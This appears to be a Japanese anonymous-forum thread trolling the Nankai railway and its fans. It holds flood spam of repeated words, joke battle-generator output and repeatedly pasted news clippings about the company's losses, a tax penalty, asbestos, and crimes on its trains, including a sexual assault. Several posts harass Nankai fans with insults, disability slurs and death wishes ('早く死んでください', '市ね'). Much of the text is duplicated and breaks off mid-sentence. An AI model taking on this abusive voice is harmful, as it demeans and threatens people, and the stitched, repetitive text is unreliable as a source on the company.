[南海は運賃高い]の攻撃HIT[南海は運賃安い]は90のダメージを受けた。[南海は運賃安い]の攻撃HIT[南海は運賃高い]は82のダメージを受けた。
[南海は運賃高い]の攻撃HIT[南海は運賃安い]は109のダメージを受けた。[南海は運賃安い]の攻撃HIT[南海は運賃高い]は36のダメージを受けた。
[南海は運賃高い]の攻撃MISS[南海は運賃安い]は攻撃を回避した。[南海は運賃安い]の攻撃HIT[南海は運賃高い]は33のダメージを受けた。
[南海は運賃高い]の攻撃MISS[南海は運賃安い]は攻撃を回避した。[南海は運賃安い]の攻撃HIT[南海は運賃高い]は98のダメージを受けた。
[南海は運賃高い]の攻撃HIT[南海は運賃安い]は107のダメージを受けた。[南海は運賃高い]が[南海は運賃安い]を倒しました(ラウンド数：5)。
赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海
赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海
赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海
赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海
赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海
赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海
赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海南海は経営難南海は経営難
赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海
赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海
赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海
赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海
赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海
赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海赤字南海南海は経営難南海は経営難
今日も南海ヲタはキモいのばっかやな
じゃあ、南海を当期赤字と報じた朝日新聞も牢屋送りだな。そして、南海のＨＰに決算を載せた南海社員も牢屋送りだな。
ったく、これだから南海ｦﾀは、どこのスレでもｷﾓいｷﾓいと罵られるんだよ（ﾌﾟｹﾞﾗ
◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した
特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
ったく、これだから南海ｦﾀは、どこのスレでもｷﾓいｷﾓいと罵られるんだよ（ﾌﾟｹﾞﾗ
◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した
特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html
もういっぺん貼ってやるから、南海ｦﾀは南海の悲惨な現状を思い知るんだな（ﾌﾟｹﾞﾗｹﾞﾗ
◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が
１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、
来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した
特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。
ソース：www.asahi.com/kansai/news/OSK200605120072.html
◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が
１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、
来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した
特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。
ソース：www.asahi.com/kansai/news/OSK200605120072.html
南海グループは、競艇で何とかもっている
阪急と比較されると必死だな（藁
南海ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
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ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
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ボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロボロ
赤字南海社員一同せめて過去の栄光にすがろうと車両を旧塗装に塗り替えて
シコシコとオナニーする情けない赤字貧乏南海&キモ南海ヲタ
シコシコとオナニーする情けない赤字貧乏南海&キモ南海ヲタ
342 ：名無しでGO!：2006/06/28(水) 20:38:01 ID:0XLD0d3SO
age
343 ：ひみつの検疫さん：2024/05/09(木) 17:55:32 ID:MarkedRes
汚染を除去しました。
( ﾟωﾟ ）ししーし─Ｊ
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[南海]攻撃:41素早さ:76防御:58命中:22運:48HP:135[阪和]攻撃:62素早さ:91防御:62命中:54運:97HP:295
南海vs阪和戦闘開始！！[阪和]の攻撃 HIT [南海]は62のダメージを受けた。[南海]の攻撃MISS[阪和]は攻撃を回避した。
[阪和]の攻撃HIT[南海]は55のダメージを受けた。[南海]の攻撃MISS[阪和]は攻撃を回避した。
[阪和]の攻撃 HIT [南海]は63のダメージを受けた。[阪和]が[南海]を倒しました(ラウンド数：3)。
[なんば]攻撃:10素早さ:77防御:63命中:64運:12HP:126[梅田]攻撃:51素早さ:38防御:83命中:60運:35HP:178
なんばvs梅田戦闘開始！！[なんば]の攻撃HIT[梅田]は1のダメージを受けた。
[梅田]の攻撃HIT[なんば]は48のダメージを受けた。[なんば]の攻撃HIT[梅田]は1のダメージを受けた。
[梅田]の攻撃HIT[なんば]は61のダメージを受けた。[なんば]の攻撃HIT[梅田]は1のダメージを受けた。
[梅田]の攻撃HIT[なんば]は30のダメージを受けた。[梅田]が[なんば]を倒しました(ラウンド数：3)。
[南海電気鉄道]攻撃:30素早さ:56防御:15命中:48運:94HP:108[有田鉄道]攻撃:35素早さ:15防御:47命中:12運:15HP:211
南海電気鉄道vs有田鉄道戦闘開始！！[南海電気鉄道]の攻撃HIT[有田鉄道]は6のダメージを受けた。
[有田鉄道]の攻撃MISS[南海電気鉄道]は攻撃を回避した。[南海電気鉄道]の攻撃HIT[有田鉄道]は1のダメージを受けた。
[有田鉄道]の攻撃MISS[南海電気鉄道]は攻撃を回避した。[南海電気鉄道]の攻撃HIT[有田鉄道]は44のダメージを受けた。
[有田鉄道]の攻撃MISS[南海電気鉄道]は攻撃を回避した。[南海電気鉄道]の攻撃HIT[有田鉄道]は104のダメージを受けた。
[有田鉄道]の攻撃MISS[南海電気鉄道]は攻撃を回避した。[南海電気鉄道]の攻撃HIT[有田鉄道]は1のダメージを受けた。
[有田鉄道]の攻撃HIT[南海電気鉄道]は80のダメージを受けた。[南海電気鉄道]の攻撃HIT[有田鉄道]は52のダメージを受けた。
[有田鉄道]の攻撃MISS[南海電気鉄道]は攻撃を回避した。[南海電気鉄道]の攻撃HIT[有田鉄道]は1のダメージを受けた。
[有田鉄道]の攻撃HIT[南海電気鉄道]は101のダメージを受けた。[有田鉄道]が[南海電気鉄道]を倒しました(ラウンド数：7)。
南海vs阪和戦闘開始！！[阪和]の攻撃 HIT [南海]は62のダメージを受けた。[南海]の攻撃MISS[阪和]は攻撃を回避した。
[阪和]の攻撃HIT[南海]は55のダメージを受けた。[南海]の攻撃MISS[阪和]は攻撃を回避した。
[阪和]の攻撃 HIT [南海]は63のダメージを受けた。[阪和]が[南海]を倒しました(ラウンド数：3)。
[なんば]攻撃:10素早さ:77防御:63命中:64運:12HP:126[梅田]攻撃:51素早さ:38防御:83命中:60運:35HP:178
なんばvs梅田戦闘開始！！[なんば]の攻撃HIT[梅田]は1のダメージを受けた。
[梅田]の攻撃HIT[なんば]は48のダメージを受けた。[なんば]の攻撃HIT[梅田]は1のダメージを受けた。
[梅田]の攻撃HIT[なんば]は61のダメージを受けた。[なんば]の攻撃HIT[梅田]は1のダメージを受けた。
[梅田]の攻撃HIT[なんば]は30のダメージを受けた。[梅田]が[なんば]を倒しました(ラウンド数：3)。
[南海電気鉄道]攻撃:30素早さ:56防御:15命中:48運:94HP:108[有田鉄道]攻撃:35素早さ:15防御:47命中:12運:15HP:211
南海電気鉄道vs有田鉄道戦闘開始！！[南海電気鉄道]の攻撃HIT[有田鉄道]は6のダメージを受けた。
[有田鉄道]の攻撃MISS[南海電気鉄道]は攻撃を回避した。[南海電気鉄道]の攻撃HIT[有田鉄道]は1のダメージを受けた。
[有田鉄道]の攻撃MISS[南海電気鉄道]は攻撃を回避した。[南海電気鉄道]の攻撃HIT[有田鉄道]は44のダメージを受けた。
[有田鉄道]の攻撃MISS[南海電気鉄道]は攻撃を回避した。[南海電気鉄道]の攻撃HIT[有田鉄道]は104のダメージを受けた。
[有田鉄道]の攻撃MISS[南海電気鉄道]は攻撃を回避した。[南海電気鉄道]の攻撃HIT[有田鉄道]は1のダメージを受けた。
[有田鉄道]の攻撃HIT[南海電気鉄道]は80のダメージを受けた。[南海電気鉄道]の攻撃HIT[有田鉄道]は52のダメージを受けた。
[有田鉄道]の攻撃MISS[南海電気鉄道]は攻撃を回避した。[南海電気鉄道]の攻撃HIT[有田鉄道]は1のダメージを受けた。
[有田鉄道]の攻撃HIT[南海電気鉄道]は101のダメージを受けた。[有田鉄道]が[南海電気鉄道]を倒しました(ラウンド数：7)。
[南海線]さんと[阪和線]さんの相性は51％(感情：32％身体：76％知性：45％) です。[南海線]さんは[阪和線]さんのことを世界で74番目に好きです。
[南海線]さんが[阪和線]さんと前世で知り合いだった確率は87％です。[南海線]さんは[阪和線]さんのことを1,805万円の価値があると思っています。
[阪和線]さんと[南海線]さんの相性は 51％(感情：32％身体：76％知性：45％) です。[阪和線]さんは[南海線]さんのことを世界で 213番目 に好きです。
[阪和線]さんが[南海線]さんと前世で知り合いだった確率は87％です。[阪和線]さんは[南海線]さんのことを800万円の価値があると思っています。
[南海線]さんが[阪和線]さんと前世で知り合いだった確率は87％です。[南海線]さんは[阪和線]さんのことを1,805万円の価値があると思っています。
[阪和線]さんと[南海線]さんの相性は 51％(感情：32％身体：76％知性：45％) です。[阪和線]さんは[南海線]さんのことを世界で 213番目 に好きです。
[阪和線]さんが[南海線]さんと前世で知り合いだった確率は87％です。[阪和線]さんは[南海線]さんのことを800万円の価値があると思っています。
南海ヲタの特徴として、南海の悪い部分についてのレスは、完全に脳内から消去してしまいます。
クズは南海ヲタだけ。赤字南海いらねーんだよwwwついでに赤字南海ヲタもな赤字南海はまじでいらん 倒産しろ
今の時代に赤字南海はないwとにかく、クズ南海ヲタは早く死んでください。まじで。クズ南海ヲタは精神障害
現実は違うんだよwww頭がお花畑かカワウソw 過ぎ渓みたいだなｺﾞﾐクズ南海ヲタｺﾞﾐクズ南海ヲタ市ね
マクドで騒ぐな基地外厨房め児固れ紙ねテメーこそ日本語しゃべれ雑魚赤字南海電車はボロ電車近鉄特急２階建て
りんかん乗ってはよ帰れ南海汽船ではよ帰れ赤字南海ヲタえらそうな口きくな市ね赤字南海は鉄道界の「たけしの挑戦状」
クズは南海ヲタだけ。赤字南海いらねーんだよwwwついでに赤字南海ヲタもな赤字南海はまじでいらん 倒産しろ
今の時代に赤字南海はないwとにかく、クズ南海ヲタは早く死んでください。まじで。クズ南海ヲタは精神障害
現実は違うんだよwww頭がお花畑かカワウソw 過ぎ渓みたいだなｺﾞﾐクズ南海ヲタｺﾞﾐクズ南海ヲタ市ね
マクドで騒ぐな基地外厨房め児固れ紙ねテメーこそ日本語しゃべれ雑魚赤字南海電車はボロ電車近鉄特急２階建て
りんかん乗ってはよ帰れ南海汽船ではよ帰れ赤字南海ヲタえらそうな口きくな市ね赤字南海は鉄道界の「たけしの挑戦状」
もう赤字南海はいやだ！！
今朝の朝日新聞に南海が大手私鉄の中で最も借金体質だというデータが、グラフで示されているな
南海は、経営規模・経常利益などを勘案すると、身の丈に合わない莫大な額の有利子負債を抱えている、と
南海は、経営規模・経常利益などを勘案すると、身の丈に合わない莫大な額の有利子負債を抱えている、と
◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆南海電気鉄道が１２日発表した０６年３月期連結決算は、
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの
減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。
ソース：www.asahi.com/kansai/news/OSK200605120072.html◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円
（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で
約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した
約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。
関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は
「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。
また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。
不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html
南海電鉄 アスベストむき出しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、
天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれはないとして撤去や密閉などの
新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html
４少年が電車・駅で女子高生にわいせつ行為 容疑で逮捕-----------------------------------------------------------
売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの
減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。
ソース：www.asahi.com/kansai/news/OSK200605120072.html◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円
（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で
約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した
約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。
関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は
「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。
また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。
不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html
南海電鉄 アスベストむき出しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、
天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、飛び散るおそれはないとして撤去や密閉などの
新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html
４少年が電車・駅で女子高生にわいせつ行為 容疑で逮捕-----------------------------------------------------------
---------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、
府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、
１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から
降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、
南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。
女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、
わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、
女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。
少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html
◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、
男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。
男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で
現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は
「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面南海電鉄で囁かれる｢最悪のシナリオ｣
府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、
１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から
降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、
南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。
女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、
わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、
女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。
少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html
◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、
男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。
男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で
現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は
「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面南海電鉄で囁かれる｢最悪のシナリオ｣
怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという
状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。
中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から
経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、
その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、
同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という
惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。
「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、
それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも
収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが
大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、
その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、
状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。
中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から
経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、
その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、
同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という
惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。
「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、
それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも
収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが
大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、
その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、
連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落は
A連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、
その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、
住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”
になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には
「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。
南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。
高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、
最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。
A連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、
その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画仁徳陵を一望、
住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”
になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には
「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。
南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。
高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、
最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。
天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は
「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の
周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する
予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。
堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm■「世界遺産登録に“超高層”の影」2006/05/23
放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に
活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。
なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の
操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に
